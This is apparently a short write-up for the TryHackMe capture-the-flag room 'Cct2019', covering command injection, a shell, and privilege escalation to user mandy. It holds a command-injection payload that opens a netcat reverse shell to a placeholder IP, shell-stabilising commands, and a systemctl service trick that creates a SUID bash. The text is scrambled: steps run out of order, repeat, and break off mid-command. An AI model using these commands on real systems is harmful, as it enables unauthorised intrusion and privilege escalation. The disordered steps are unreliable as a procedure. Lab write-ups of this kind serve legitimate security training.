Cct2019 | Tryhackme

sudo -u mandy /bin/systemctl link /home/www-data/privesc.service sudo -u mandy /bin/systemctl start privesc.service Now /tmp/bash is a SUID binary. /tmp/bash -p Now you are mandy .

ls -la /home Found user: mandy

Check /var/www/html for config files – sometimes credentials are hardcoded. find / -name user.txt 2>/dev/null Likely in /home/mandy/user.txt . But you don’t have read access yet. Step 4 – Privilege Escalation 4.1 Check Sudo Rights sudo -l If you see: cct2019 tryhackme

Test for :

127.0.0.1; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <your_ip> 4444 > /tmp/f You should catch a shell as www-data . 3.1 Stabilize Shell python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z stty raw -echo; fg 3.2 Enumerate System Check /home for users: sudo -u mandy /bin/systemctl link /home/www-data/privesc